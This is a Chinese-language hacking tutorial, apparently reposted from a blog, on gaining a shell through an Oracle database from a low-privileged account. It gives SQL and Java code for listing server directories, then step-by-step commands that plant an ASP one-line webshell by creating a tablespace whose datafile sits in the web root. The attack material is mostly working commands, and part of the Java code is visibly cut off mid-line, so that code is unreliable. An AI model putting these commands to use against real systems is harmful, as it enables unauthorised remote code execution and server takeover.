天天看點

oracle低權限下擷取shell

轉載請标明:http://hi.baidu.com/hack_forensic 《關于oracle列目錄的可行性測試》

經過本人測試,确實可行,解決了 kj021320文章的遺憾,kj021320在文章<>最後說,當然這個方法缺點就是你要知道WEB路徑.少費話,直接貼code:

create global temporary table BLUEUSER.dirlist(

filename varchar2(255),

filesize number,

filedate date)

on commit delete rows;

/

create or replace and compile java source named DirList as

import java.io.*;

import java.sql.*;

public class DirList

{

public static void getList(String directory) throws SQLException

File path=new File(directory);

String[] fileList=path.list();

String fileName;

long fileSize;

long fileDate;

for (int i=0;i exec BLUEUSER.p_get_dir_list(‘/tmp’);

PL/SQL procedure successfully completed

select * from BLUEUSER.dirlist;

select * from BLUEUSER.dirlist where rownum<150;

select filename from BLUEUSER.dirlist where rownum<150;

select filename from BLUEUSER.dirlist;

truncate table BLUEUSER.dirlist; 好啊 要不然是追加.

測試環境:oracle 9+redhat

——————ORACLE 建立資料檔案WriteWebShell———————

SQLJ 存儲過程寫檔案也可以,逼于無奈對方機器不支援SQLJ 還有 UTL_FILE包也被幹掉了?

那 也可以 使用以下我說的這個方式

SQL> create tablespace kjtest datafile ‘e:/website/kj.asp’ size 100k nologging ;

表空間已建立。

這裡記住了 100K為ORACLE 表空間最小的機關,如果你的一句話SHELL比較大 那可以200K比較穩妥

但是最終建議一句話一定要最最簡潔

SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;

表已建立。

一般用 VARCHAR類型已經可以 ,表空間太小了 ,是以不可以 為 CLOB或者 BLOB類型。

SQL> insert into WEBSHELL values(‘<%execute request(“kj021320″)%>’);

已建立 1 行。

SQL> commit;

送出完成。

送出完成之後就 OK? NO~ 因為資料還沒有被 DBWn 程序刷到檔案呢. 是以需要同步一下CKPT以及OFFLINE目前表空間

SQL> alter tablespace kjtest offline;

表空間已更改。

到這裡 你的 一句話SHELL代碼已經 寫到 那個檔案了

你會發現有這樣的 <%execute request(“kj021320″)%>的 代碼

一句話shell已經OK了

最後使用後記得吧 表空間删除

SQL> drop tablespace kjtest including contents;

表空間已删除。